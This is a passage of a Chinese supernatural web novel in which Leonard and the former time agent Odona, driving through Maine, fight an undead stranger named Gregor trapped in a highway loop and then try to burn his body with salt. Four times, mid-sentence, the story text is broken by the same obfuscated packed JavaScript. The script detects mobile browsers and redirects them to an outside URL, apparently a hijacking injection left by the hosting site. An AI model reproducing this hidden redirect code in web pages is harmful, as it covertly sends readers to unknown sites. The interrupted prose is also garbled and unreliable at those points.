“但我猜我们几个的时间线也比不上意大利面那么好梳理,反而像个没缠好的毛线球一样惹人心烦,对吧?” “嗯。” “所以,等你觉得可以的时候,我们谈谈,好吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612152|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” “好了。”奥多娜放松后背靠在车座椅上,抬手把棒球帽檐转到前面,阖上眼睛,“现在把福特宝贝发动起来,我们还有很长一段路要走呢。” 车里安静了一会儿,莱纳德突兀地开口:“以利亚邀请我去看他的死亡现场。” 奥多娜保持帽子盖脸的姿势没变,只发出一个音节:“嗯?” 莱纳德一字不差地重复了一遍,像是想要证明自己的说法并非追求诗意,而以利亚也不什么死亡重金属摇滚歌手。 他垂下眼睫,盯着自己的掌心:“他死的时候,我就在他床边,他……他看起来很糟糕。” 不,不止是糟糕,远不止是糟糕,莱纳德有足够的理由相信,以利亚那副衰老垂死的可怖模样势必在他的诸多噩梦中长期霸占榜首。 “奥多娜,”莱纳德听到自己的声音好像一串一戳就破的气泡,“他为什么要这么做?” 奥多娜伸出食指把帽檐顶起来,目光里含着审视:“你刚才说邀请?” 这个问题还真是一针见血,莱纳德顿时心中刺痛:“他带我去了19世纪的伦敦,摄政公园、伦敦塔、海德公园,还有臭气冲天的泰晤士河……我本来以为那只是他挑的一个散心的地方,最多只是有点麻烦需要解决,说来话长,后来我们还遇到的狄更斯,但完全不是那回事,他、他早就知道了。” “知道什么?” 莱纳德深深吸了一口气,克制住忽然涌上眼眶的泪意,说道:“以利亚一直都知道他会死在那儿,所以他才会坚持要进墓地去,是为了让我看到那块墓碑。” “他为什么这么做?” “他怕我不相信、不相信他真的死了。”莱纳德咬紧牙,鼻孔里喷出的气热烘烘的,他意识到自己就快哭了,于是把后面的话咽了回去。 这番话缺乏背景并且逐渐凌乱,但奥多娜还是抓住了精髓:“也许,他正是要你相信他死了,你说他邀请你,这点很重要,对于时间旅行者而言,死亡并不是永恒终点。” “这话什么意思?”莱纳德偏过头看她,眼睛红红的,感到一阵心悸似的痛苦,因为忽然泛起的希望,他呆呆地重复奥多娜的话,“死亡并不是永恒的终点。” “也许,以利亚需要你做什么,来改变他的死亡。”奥多娜沉吟着,她的睫毛扇动着,目光闪烁,“别忘了,他安排我来见你,这是个好兆头。” “所以我该怎么做?”莱纳德用力咬住嘴唇,有些吃惊地意识到,只要能救以利亚,他什么都愿意做,就算像欧路非司一样下地狱也绝不会犹豫 。 “我很想告诉你该怎么做,但事实是,我不知道。”奥多娜耸了耸肩。 然后她挺直腰,目光变得明亮、锐利,看着莱纳德的眼睛,“除了这个,我需要你振作起来,然后我们一起沿着这条路走下去,不管终点是什么。” 莱纳德屏住呼吸,95号洲际公路在他面前延展开来,也许是缅因州湿润阴冷的空气,还有不远处的森林的缘故,空荡荡的水泥路面从没显得如此诡异莫测过。 “我会的。”他最后说。 “现在,专心开车吧,金毛儿。”奥多娜往下躺了躺,抬起两条腿架在控制台上,舒服地打了个哈欠,“到下一个休息站前别叫醒我,我缺起觉来脾气可是很惊人的。” 71.第二章:怪客 奥多娜很快就睡着了,歪着脑袋倚在靠背上,呼吸平稳均匀,帽檐挡着她的上半张脸,像一只在领地里安心打盹的小动物。 当然,再小也是只食肉动物,因为她是奥多娜·霍普。 莱纳德忽然感到一种奇异的安定感,与公路旅行格格不入,但对于最初踏上这段路时的心境相比,他不得不承认,奥多娜的出现的确给他注入了一针强心剂。 莱纳德放慢车速,余光打量着奥多娜的白皙的下巴,和因为缺少血色而显得有些凉薄的嘴唇,他从来看不出这女人的年龄,因为她的眼睛。 是哪个聪明人说过?人一旦上过战场,那双眼睛就再也回不去了,你能从里面看出战火燃烧过后的灰烬,除此之外,也许还有小孩子的孤独凄凉,和老年人的智慧与沧桑,使他们看起来既粗野又忧伤。 除了第一次见面,也是唯一一次,在布兰迪小酒馆里相遇时,奥多娜就跟个横冲直撞的青少年似的,现在回想起来,那些该死的混乱的爆炸简直像是一千年前发生的,莱纳德忍不住哼笑出声,他不知道对奥多娜来说那是多少年前的事,搞不好没有一千也有好几百年。 不然她怎么会拥有那样一双眼睛呢? “笑什么?难不成我脸上长出花来了?”奥多娜忽然问,原来她在装睡。 “没什么。”莱纳德短促地回答,目光回到公路上。 “可不像是没什么,”奥多娜翘起一边嘴角,语出惊人,“一般来说,男人这么盯着我看,不是想跟我上床,就是干脆爱上我了。” 莱纳德差点把方向盘打飞,他不自在地干咳一声:“你想多了,真的。”他顿了顿,又窘又羞地嘟囔道,“你知道我喜欢你,奥多娜,就像喜欢皮卡丘那样。”如果皮卡丘也会时空旅行的话。 “那还真让人伤心,我刚才都打算吻你了,在你用那双漂亮的蓝眼睛盯着我看的时候。”奥多娜瞟着他,目光幽深,似乎她能看出来的远比说出来的要多,“你知道吗?你一脸急需有人好好亲吻你的模样。” 莱纳德更不自在了,他花了好大力气才勉强没继续深入上一个话题,尴尬地说:“我刚才只是想起了咱们第一次见面。” 奥多娜掀起帽檐,斜眼瞟他:“真的?咱们第一次见面有什么好笑的?还是说,我错过了你对爆炸的某种不可告人的情结?” 莱纳德忍不住又笑了笑:“说真的,那场爆炸对你来说是多久前的事了?” 奥多娜眯起眼睛,表情变得有些飘忽,她在回忆:“我不擅长计算时间,这是时间特工的诅咒,对前任时间特工也是一样。”她顿了顿,又说,“不过真的挺久了,你呢?” 莱纳德算了算,连自己都感到震惊:“不超过半年。” 奥多娜咯咯笑起来,很高兴的样子:“但感觉起来已经像过了好几百年对不对?” 莱纳德睁大眼睛,失笑道:“何止是对,你直接把话从我嘴里抢走了。” “恭喜你,你已经是一名合格的时间旅行者了。”奥多娜说着点点头,还轻轻锤了他肩膀一拳,好像那是什么心照不宣的业内默契似的。 莱纳德感到一丝受宠若惊,以利亚倒是从不说这种话。 脑袋后面忽然“喵”的一声,奥多娜惊喜地吹了声口哨:“这是谁?” 她伸长手臂,把伸爪扒拉驾驶座位的猫咪抱到自己怀里,不由分说揉了一通:“好漂亮的猫,是不是?你是不是个脖子里别着玫瑰花的漂亮宝宝?晚上跟哪只猫有约会,嗯?” 俄罗斯蓝猫在奥多娜怀里愤怒地挣扎了一会儿,未遂,只好无助地喵喵大叫起来。 “阿西莫夫,乖一点。”莱纳德头也不回地说,又对奥多娜说,“它不喜欢跟人太亲近,你别来硬的,小心待会儿挠你。” “它叫阿西莫夫?”奥多娜大概只听进去第一句,但对科幻小说之父的名字无动于衷,她亲昵地揉揉猫咪的脸,然后敏捷地捏住猫挠过来的一爪子,摇了摇,“你叫阿西莫夫?看看谁是坏脾气的阿西莫夫啊?” 莱纳德用力翻了个白眼。 格雷戈就是在这时忽然冲到公路中间的。 “我靠!”那一瞬间,莱纳德心里奔腾而过的脏话远比说出口的多,他用力踩下刹车,幸好他刚才放慢了车速,车头险险地停在那个乱闯马路的傻瓜前面,只差五公分就能把他整个撞翻。 妈的,好险。 奥多娜及时把腿从控制台上收回来,但也被安全带勒得够呛,她狐疑地看了眼空荡荡的车前窗,问莱纳德:“刚才是有个人吧?” “我没感觉撞上去,他可能摔倒了。”莱纳德打开车门,绕到车头,果然看到一个穿夹克衫和牛仔裤的男人躺在地上,两手摊开,狼狈地喘着粗气。 “你受伤了吗?”莱纳德在男人身边蹲下来,目光在他身上扫了一遍,没有发现明显的外伤和血迹,朝他伸出手来,“能站起来吗?” 奥多娜也跳下车,快步走过来,表情看起来毫不友善,一边恼怒地大声说道:“先生,你知道你刚才已经违反了缅因州第1502号法案第12章第12条第1款了吗?要是这条路上有警察,你就准备好上交通法庭吧,看在上帝的份上,你到底从哪儿蹦出来的?” “哦……”莱纳德临时改口,出于某种自己都无法解释的直觉,“多娜亲爱的,这个可怜人受伤了,好吧,至少是受惊了,给他点时间。” “格雷戈。”躺在地上的男人忽然嘀咕了一声。 “什么?”莱纳德低下头,对上男人深褐色的眼睛,他刚才大概说错了,尽管眼睛里布满红血丝,下眼睑还有深深的阴影,但这个人冷静沉着的模样可完全不像是受惊了。 “格雷戈·奥古斯特,那个可怜人的名字。”格雷戈说着握住莱纳德的手坐起来,另一只手捂住脑门,呻吟了一声,“糟糕的宿醉,相当糟糕,耶稣啊,现在已经白天了?” “老兄,再过几个小时天就黑了。”莱纳德无语地把对方从地上来起来,又不放心地扶了他一会儿,确认对方能自己站住才松开手,又忍不住问,“这附近还有酒吧?” 根据地图,最近的休息站还在五公里外,而眼下这个路段就算不是完全荒无人烟,也相差无几了。 格雷戈搓了搓下巴上的胡茬,一副状态之外的模样:“我猜我一定是喝醉后被那群家伙扔下车了。”他后知后觉地摸摸自己的口袋,骂了句脏话,带着浓重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623892|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新英格兰口音:“混蛋拿走了我的钱包。” 莱纳德有些好笑地说:“我觉得比起钱包来,你更应该担心那群混蛋是不是还顺便拿走了你的肾。” 格雷戈还真的摸了摸自己的腰两侧,摇着头严肃地说:“没人想要我的肾。” 莱纳德忍不住“嗤”地笑出了声,奥多娜站在他旁边,抱着胳膊,毫无笑意:“虽然钱包没了,但你被丢下车既没摔破脑袋,也没滚一身泥,刚才那样蹿过来都没被我们的车压死,奥古斯特先生,我猜你运气还挺不错的。” 格雷戈举手抬了抬脑袋上并不存在的帽檐,假装自己是个绅士:“谢谢,人们一直这样说,多娜女士。” “那我猜,你一个人在这儿也完全没问题咯。”奥多娜嫣然一笑,拉住莱纳德的胳膊把他往车门的方向拽,忽然又回头说道,“小提醒,别再往路中间跳了,并不是每个司机都会踩刹车。” 莱纳德被她拉着走了几步,在车门边停下,小声问道:“喂,我们就这么把他丢下?” “对。” “你听到他说的了,有人拿走了他的钱包,还把他丢在马路边上,我们至少得报警吧?”莱纳德一边说一边摸口袋,想把手机掏出来。 奥多娜叹了口气,看莱纳德的表情好像在看一个笨小孩,她松开手,问他:“你闻到酒味了吗?” “什么?”莱纳德一愣。 “格雷戈说自己喝醉了被人丢下车,那你闻到酒味了吗?”奥多娜翻了个白眼,莱纳德这才后知后觉地发现不对劲,何止没有酒味?尽管身上有种沧桑落拓的气质,但刚才的几句对话,格雷戈始终清醒得像颗子弹头,完全不像是经历宿醉还被迫在公路待了一晚上的人。 “你是说他有问题?”莱纳德一边小声问,一边回头看了一眼,这一看,他浑身的血顿时凉了一半,“奥多娜?”他拽了拽她的袖子,然后捏着衣角没有放手。 “嗯,我看到了。”奥多娜回答。 几秒钟前格雷戈站着的地方,现在却空无一人。 格雷戈·奥古斯特就这么凭空蒸发了。 莱纳德和奥多娜站在车门边,面面相觑,然后莱纳德先发问:“我们不是在做梦,对吧?两个人没法一起做梦。” 奥多娜一耸肩:“不,我们没在做梦,至于第二个问题的答案,你现在可能不会多喜欢。”她咧嘴一笑,露出雪白的牙齿,忽然伸手搓了搓胳膊,哈出一团白色水汽,问:“你有没有觉得变冷了?” 莱纳德摇摇头,他一直觉得很冷,大概已经冻麻木了,该死的缅因寒潮。 “这地方不对劲,”奥多娜以左脚为圆心转了一圈,目光望向远处,下结论道,“我不喜欢这地方,咱们最好尽快离开。” 莱纳德同意她的看法。 “等等,还有件事。”奥多娜从口袋里掏出根粉笔,在车头前的路面上画了一条歪歪扭扭粉笔道,然后又重重地涂了几遍,直到手里的粉笔只剩个屁股,这才拍拍手站起来:“好了,我们出发。” 上车前,莱纳德皱眉盯着那条粉笔道看了一会儿,他有种奇怪的预感,他们还会再见到这条白线的,用不了多久。 这预感没错。 72.第三章:粉笔线 汽车再次发动起来,天色已经有些黯淡,一层薄薄的红云远远挂在天边,丝丝缕缕的,好像被水晕开的鲜血。 莱纳德开车,阿西莫夫蹲在他的大腿上,严肃地瞪圆眼睛,尾巴时不时扫过他的胳膊和手腕,要是换作平时,莱纳德肯定会把它赶到一边,但是今天,尤其是在遭遇那个奇怪男人格雷戈之后,阿西莫夫温暖柔软又毛茸茸的身体让他感觉很安心。 “我们是不是也该看到路标了?”莱纳德开口问道,距离上一个路牌怎么着也开出去十公里了,但路边始终光秃秃的,别说加油站,连个稻草人都没有。 倒不是说他乐意在愈发黯淡的天色里看到那种东西。 “嗯。”奥多娜心不在焉地应了一声,两眼盯着窗外飞速后退的白杨树林,“你看地图了吗?” “当然,我看起来像个连地图都不看就四处乱开的傻子吗?算了,别回答这个问题。”莱纳德闷闷地说,指出另一个不祥的事实,“而且,我们已经很久没碰到路口了。” 奥多娜嘟囔了一句,听起来像是“这该死的森林”,她扭过头,问:“这猫能让我抱一会儿吗?车窗漏风,我快要冷死了。”说完径自伸长手臂,从莱纳德腿上捞走了阿西莫夫,猫咪发出一声不悦的“咪呜”,但并没有挣扎。 莱纳德只觉得一阵失落,但并没有表现出来。 “天也黑得太快了。”奥多娜摸着阿西莫夫的脑袋,“就算是冬天,就算是在高纬度,白天也不该这么短,你戴表了吗?” 莱纳德知道自己没戴,但他还是低头看了看手腕,然后掏出口袋里的翻盖手机,不由自主地惊叹出声:“怎么会?” “几点?”奥多娜一脸早有预料的神色。 莱纳德直接把手机丢给她,奥多娜接住那个小东西,看到屏幕上的时间,也忍不住把眉毛挑得高高的:“零点八分?”她把手机翻来覆去看了一遍,又丢回莱纳德怀里:“你从哪儿搞来的这古董?我看八成是出故障了吧。” 莱纳德翻了个白眼:“欢迎来到2005年,没让你用传呼机就不错了。” 奥多娜哼笑了一声:“不过对于午夜零点来说,现在可是太亮了。” “是零点八分。”几乎是莱纳德话音刚落,黑夜便向一口钟似的兜头罩了下来,毫不夸张,两人眼前的整个世界霎时间一片漆黑,莱纳德连忙踩下刹车,好半天,他才听到自己紧张急促的喘气声,跟受不了夏日炎热的狗似的,只差把舌头吐出来了。 “奥多娜?” “我在。”奥多娜的声音听起来很镇定,谢天谢地,一阵窸窸窣窣的声音后,一只手伸过来抓住了莱纳德,先是胳膊,然后摸索着往上,拍了拍他的脸,“没事,我在呢。” 莱纳德忽然间想起从学校回到故园鸟镇的那个暴雨之夜,他姐姐开着车,两人原本有说有笑,但天色也是这样骤然漆黑一团,紧接着便是倾盆大雨,再然后…… 几秒钟过去,并没有雷声和雨声响起,莱纳德悄悄松了口气,他的眼睛逐渐适应了黑暗,又能看到路面了,但车灯并没有在他转动旋钮时亮起来,他们只好继续在黑暗中行车,森林剪影从两侧车窗飞快地倒退,却不知怎地好像要扑上来似的。 “那是,”莱纳德瞪大眼睛,看着夜色里一团漆黑的轮廓,心再次砰砰跳动起来,“……什么?” “是个人。”奥多娜回答,她好像笑了一声,又说,“或者,不是个人。”她忽然把安全带扣解开,一只手搭在门把手上,回头看着莱纳德:“你老实待在车上,别熄火,保持警惕,我要下去看一眼,万一发生什么事的话,”她说着瞟了一眼车前窗,苍白的脸上闪过一丝笑意,“你可不准抛下我一个人开车跑掉。” “喂!等等!”莱纳德边说边解安全带,但奥多娜已经跳下了车,还把阿西莫夫留给了他,这猫一得脱自由,立刻敏捷地跳上了莱纳德的大腿,一屁股坐了下去。 得益于曾经接受过的训练,奥多娜夜间动态视力还不错,所以她很清楚此刻站在马路中间的是个人。 至少看起来是个人。 “格雷戈·奥古斯特。”奥多娜叫出他的名字,一边走上前去,姿态戒备,现在她不需要靠近也能闻到对方身上的酒臭味了。 “多娜女士。”格雷戈伸手抬了抬头上并不存在的帽檐,脑门上肿起的大包在夜色中都显眼得很,“真是很高兴见到你。” “你这话说得可有点草率了。”奥多娜微笑着说道,打量着对方牛仔裤上的泥土和草根,“我猜被人从车上丢下来不太好受吧?” 格雷戈摸了摸脑门,龇牙咧嘴地笑了笑:“也没那么糟糕。” 奥多娜眯起眼睛,心里的疑惑逐渐膨胀,如果仅从这几句对话来判断,她会相信对方是个人,也许不大正常,但你大半夜在公路上还能指望碰上什么货色呢? “你是走过来的吗?格雷戈。”奥多娜终于问道,同时注视着对方脸上的神情,“没想到居然领先我们的车这么多,你走得可够快的。” “我没走,女士,我没走。”格雷戈连连摇头,他忧郁地抬头看了看天空,然后说,“我一直在这里。” “是吗?”奥多娜后退一步,余光瞟向车头的位置,果然,那条该死的白色粉笔线就在那里,在黑黢黢的夜色里活像一张裂开的小丑嘴巴。“你为什么不离开呢?” “因为没有人愿意载我啊,女士。”格雷戈笑起来,有些不好意思地挠了挠头,“你看我这满身泥、满嘴的酒气,人家肯停车就不错啦。” 奥多娜忍不住皱起眉头,就算是鬼,这家伙也未免也太啰嗦了,说老实话,她更希望格雷戈直接眼睛一翻,像个合格的僵尸一样朝她扑过来,那样她至少知道该怎么对付。 但那句话怎么说的来着?许愿时一定得谨慎。 奥多娜回到了车上,简短地说道:“开车。” “开车?那个人怎么办?我是说,他是格雷戈,对吧?”莱纳德憋了满肚子的问题,“这是怎么回事?我们遇到鬼打墙了?” “公路鬼打墙,是的,不怎么常见,但还是碰上了,只能说我们运气还不错。”奥多娜一双眼睛紧盯着车窗外的人影,伸手把阿西莫夫捞到自己怀里,用力抱住,终于流露出一丝女孩见鬼时该有的恐惧情绪,“我们还是快走吧。” 阿西莫夫不乐意地叫了一声。 莱纳德踩下油门,小心地转动方向盘,开车绕过格雷戈,后者一直在冲他们行注目礼,右手摸着他那并不存在的帽檐,脸上挂着柴郡猫似的笑容。 把对方甩在身后,莱纳德立刻把油门踩到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639098|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了底。 “嘿,你猜我们还会不会在前面碰到他?如果这是个合格的鬼打墙的话。”莱纳德有些紧张地问,胃里沉甸甸的,像是吞下了一大杯冰水,他总有种不好的预感,不管格雷戈是人是鬼,刚才那场碰面都实在太平静了。 就好像,他巴不得他们赶快驶过那条粉笔线似的。 “我猜不会。”奥多娜瞄着后视镜,瞳孔仿佛突然缩小了。 莱纳德跟着看过去,立刻倒吸一口凉气,知道奥多娜为什么这么说了——后视镜里,一个穿皮夹克的人正甩开膀子、迈开大步朝他们狂奔着追过来。 “还愣什么?快开车啊!” 奥多娜的声音变得又尖又细,像鞭子一样敲打着莱纳德的神经,莱纳德一边猛踩油门,一边用最大的声音骂了一连串脏话,甚至来不及因为当着女士的面出言粗俗而感到抱歉,因为奥多娜没猜错,格雷戈跑得确实比车还快。 “拜托告诉我你有办法了!”莱纳德大声喊道。 “我有办法了!”奥多娜扯着嗓子吼了回去,怀里的阿西莫夫受到感染,也跟着叫唤起来。 “什么办法!” “开!快!点!” “除此之外呢?我不想吓唬你,但车速有上限,你知道的吧?”莱纳德早就把油门踩到了底,一边庆幸自己租了一辆福特卡车,至少它足够结实,不会被发狂的怪物一撞就散架。 刚转过这个念头,卡车后斗忽然“咚”地响了一声,事实上,整个车身都随着这声响往下沉了沉。 有东西跳上来了。 莱纳德心惊胆战地看了眼后视镜,格雷戈狰狞的脸仿佛忽然间变大了一倍,要么是肾上腺素导致的视觉错误,要么就是这家伙刚才追他们的时候还在顺便狂吃化肥,但不管怎样,这张脸撞在后车窗上的画面可绝对算不上美妙。 “听着!你画了那道粉笔线,你知道这是公路鬼打墙,这可不像是外行会做的事。”车斗里活像是载了一头发疯的公牛,莱纳德得用力稳住方向盘才不至于让车一头冲出公路,只听“喀拉”一声,后车窗被撞出了一道裂纹,他提高嗓门:“你要是还知道别的,现在可绝对是个分享的好时候!” 奥多娜深吸一口气,忽然把阿西莫夫推到莱纳德怀里,然后从衣服内袋里摸出了把迷你手枪,检查子弹,上膛:“我的方法不多,希望有用。” 她飞快地回身,扣动扳机,朝后车窗点射三枪,砰、砰、砰—— 第一枪让开裂的后车窗彻底碎成了几百块,冷风呼啸着灌进来,同时还有格雷戈非人的嚎叫声,第二枪、第三枪紧跟着射在他的脑门和胸口上。 莱纳德在心里感叹,好姑娘,好枪法! 格雷戈被打得接连倒退几步,莱纳德瞅准时机猛打方向盘,那家伙立刻像疯狂大转盘上的跳蚤一样惨叫着飞了出去。 不过莱纳德没有看到的是,格雷戈在滚下车的前一秒伸手扒住了卡车外斗,摇摇摆摆地挂在了车上。于是他刚松了口气,奥多娜就朝主驾位歪过来,“小心!那玩意又爬上来了!”她一手抓住方向盘,一手握住操纵杆:“听我口令,我们要找准时机给车掉头,顺便把他甩下去。” 格雷戈的嚎叫声再次响起,这回要近得多。 狗杂种竟然钻到车里来了。 73.第四章:盐巴和咒语 “见鬼!”奥多娜骂了句脏话,飞快地回身,举枪,射击,动作一气呵成,效果立竿见影,格雷戈的胸口上顿时又多出三个血洞来。 但这并没能阻挡他多久,他只是仰身倒退了几步,就像掰弯的弹簧忽然被松开似的,再次朝他们猛扑过来。 奥多娜在狭窄的驾驶室里团身屈膝,一脚猛踹出去,靴底在对方胸口上发出令人牙酸的“砰”的一声,格雷戈前胸顿时陷下去大一片,却连眼睛都没眨一下,伸出双手用力掐住了奥多娜的小腿,向后猛拽,奥多娜发出一连串咒骂,另一条腿跟上,借着对方抓住她的支点,整个人腾身而起,朝格雷戈的脸一脚蹬过去,正中靶心! 这下子格雷戈的脸更可怖了,鼻子塌倒歪向一边,两颗眼珠像是万圣节公偶那样混合着血浆爆了出来,再加上脑门新添的枪眼,一张脸简直精彩纷呈。 但他的手还牢牢抓着奥多娜的小腿,用力往上一抬,几乎把奥多娜倒提起来。 “调头!”奥多娜一边以高难度姿势屈肘猛撞对方肋下,一边大声吼道,“现在!” 轮胎摩擦地面的动静简直能把人的头皮直接从头骨上掀飞出去,莱纳德咬紧牙关,猛打方向盘的同时上档、换挡,松油、踩油,座椅靠背不知道被谁一脚踢到,重重撞在他后脑勺上,车子猛地打转,要不是安全带,他保准一头砸进方向盘里,把自己磕个七荤八素。 阿西莫夫缩在他座位底下,肯定是吓坏了,一动不动,连声都不敢出。 车后座的小小空间里,奥多娜和格雷戈正拳脚相加,如果不是亲眼见到,没人会相信一个五英尺三英寸的女人能把一个大男人打得毫无还手之力,但事实就是,奥多娜浑身都是武器,除了匕首和小飞镖之外,她的膝盖、手肘、拳头,甚至手指头都能置人于死地。 可格雷戈偏偏就是不死。 “然后呢?接下来怎么办?”莱纳德成功把车调头,但可惜的是,格雷戈不仅没被甩下去,反而在车门的保护下稳稳待在车里,跟奥多娜打得难舍难分。 “继……续……开!”奥多娜艰难地把字吐出来,她整个人挂在格雷戈后背上,两条胳膊横绞在他颈间,拼命收紧,同时灵巧地借力使力压制对方的反抗,眨眼间左腿便像毒蛇似的缠上对方的腰胯,眼看裸绞就要成形,格雷戈却蓦地暴喝一声,双脚蹬地,整个人朝后撞去! 只听“砰”的一声巨响,后车门登时被撞得扭曲变形,奥多娜在千钧一发之际松开手向旁边跳开,好险没被压扁,格雷戈紧跟着一脚蹬过来,她就地打滚,竟然钻进了车座底下。 格雷戈却突然停住了,他像是失去了目标的踪迹,呆滞地转动着头颅,左看右看,然后锁定了主驾驶位上的莱纳德。 “妈的。”莱纳德咬牙,目光在后视镜一晃而过,跟格雷戈的鱼泡眼短暂对视,该死,他可没有武器。 格雷戈破裂的嘴唇蠕动着,发出古怪的哨声,仿佛在吹奏一只看不见的海螺,他歪斜着身体,朝莱纳德用力挥出了手臂—— 就在这时,奥多娜双手忽然从车座地下闪电般探出,她手里拿着一段闪闪发亮的金属丝,以令人眼花缭乱地速度把金属丝缠上了格雷戈的小腿,然后猛地一收!格雷戈顿时失去重心,向前栽倒,先是一头撞上了驾驶座,然后向旁边弹开,上半身整个摔进了主副驾驶座中间的空隙里。 正常人这么一摔就算没把脖子折断也得晕上几秒,格雷戈却跟没事人似的,脖子一转,锁定了莱纳德的位置,张开大嘴,不由分说便朝他的胳膊咬下去! 莱纳德惊叫着骂出一连串脏话,一时不知道该随手抓住什么东西堵住格雷戈的嘴,还是干脆弃车逃跑。 阿西莫夫不知什么时候从车座底下蹿了上来,这只小小的捕猎者低吼着露出嘴里的尖牙,浑身毛都炸了起来,弓起背做出进攻姿态。 “别啊!”但这声惊叫只存在于莱纳德自己的脑海里,他连一句完整的脏话还没骂完,手脚更是早已跟不上霎时间一波三折的事态变化,只能眼睁睁地看着阿西莫夫像个听到号角的突击战士似的蹬地起跳,勇气百倍地朝格雷戈猛扑了过去。 “刹车!”奥多娜的声音骤然刺破混乱,莱纳德不及细想,右脚便条件反射似的踩下了刹车。 福特嘶吼着减速停下,格雷戈在惯性下一头撞上车前窗,玻璃碎裂和颈骨折断的清脆声响混合在一起,然后“噗”的一声,发动机熄火了。 倒霉的卡车在短短几分钟里简直饱受摧残,不知道租车行老板瑞奇或者乔纳森看到这一幕会作何感想。 莱纳德喘着粗气从方向盘上抬起头来,浑身上下几乎没有一处不疼的,好半天才发现自己眼前正直冒金星,他“呸”地吐出一口带血的唾沫,把自己从安全带里解出来,推开车门,然后一头栽到了车外边。 还没等爬起来,他就吐了出来。 后车门跟着打开,奥多娜也爬了出来,她虽然没吐,但表情也难看得很,尤其是在看到莱纳德刚制造出的那堆东西之后。 “阿西莫夫?”奥多娜把在自己脚边打转的猫咪抱起来,检查了一下,这猫奇迹似的没有受任何伤,一双眼睛仍然清醒而机警,看起来比他们俩都要舒服得多。 至于格雷戈,奥多娜只看了一眼车里的惨状就扭开了头,她觉得这家伙在经历这一遭后活下来的可能性不高,但真正的问题在于,他会不会死? 奥多娜觉得自己不会喜欢那个答案。 等莱纳德吐够了,奥多娜伸手把他从地上拽起来,故意忽略对方因为尴尬而涨得通红的脸,转过头说道:“喏,你看见那条粉笔线了吧?”她指着路面,吁了口气,“幸亏你停车停得及时,不然我可没那命再来一遍了。” 莱纳德尴尬地擦了擦嘴角:“是你喊得及时。”他的后脑勺还是一跳一跳地疼,像是里面有人在敲鼓似的,震得他耳朵嗡嗡直响,连眼眶都是麻的。 回想刚才那一连串惊心动魄的场景,他现在能站起来还真是个奇迹。 “好险。” “别放松得太早了。”奥多娜又说,“我们还得处理那家伙呢。” “处理?”莱纳德瑟缩了一下,“他不是死……” 奥多娜翻了个白眼:“别告诉我你还天真地以为他只是脾气不大好才把咱们的车砸了个稀巴烂,还差点把咱们也砸成稀巴烂。” “我没有。”莱纳德弱弱地反驳,目光瞟向车里,“我只是不知道他到底是个什么东西,你知道他是个什么东西吗?” 奥多娜叹了口气:“我真希望我知道。” “那我们怎么办?”莱纳德皱起眉头,脑子里翻书一样回想以利亚给他讲过的各种稀奇古怪的东西,很遗憾,驱鬼和安魂并不在其中,他挠了挠头,“现在请驱魔师可有点晚了,我们总不能把尸体上洒满盐然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655866|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把火烧掉吧?” 莱纳德只是随口乱说,奥多娜却一耸肩,说道:“可以一试,反正那家伙也没什么别的可损失了。”她扭头看了看四周,咬住嘴唇:“不过这荒郊野岭会有地方卖盐吗?” “等等,你是认真的?”莱纳德瞪着奥多娜。 “嘿,我只是觉得你说的有道理。”奥多娜拍拍他的手臂,揶揄道,“给自己点信心,你没自己以为的那么差劲。” 莱纳德翻了个白眼。 结果两人居然还真的说干就干,莱纳德鼓起勇气把格雷戈的尸体从车里连拖带拽地搬出来,搁到了远处的空地上,感谢瑞奇和乔纳森,他还从卡车后斗的杂物里翻出一罐结块的盐巴。 奥多娜贡献了自己的一枚圆球状的武器,从里面鼓捣出一些可燃液体倒在了尸体和盐巴上。 “直到现在,进展还算顺利,希望待会儿也不要翻车。”莱纳德嘀咕道,然后掏出打火机,点燃引子,丢到了尸体上。 “噗”地一声,火一下子烧起来,但火苗颤颤巍巍,仿佛随时都会熄灭,而格雷戈的衣服不知道是什么防火材料做的,半天都没烧着。 “该死,助燃剂不够。”奥多娜开始翻口袋,打算把更多易燃易爆品就地大卸八块。 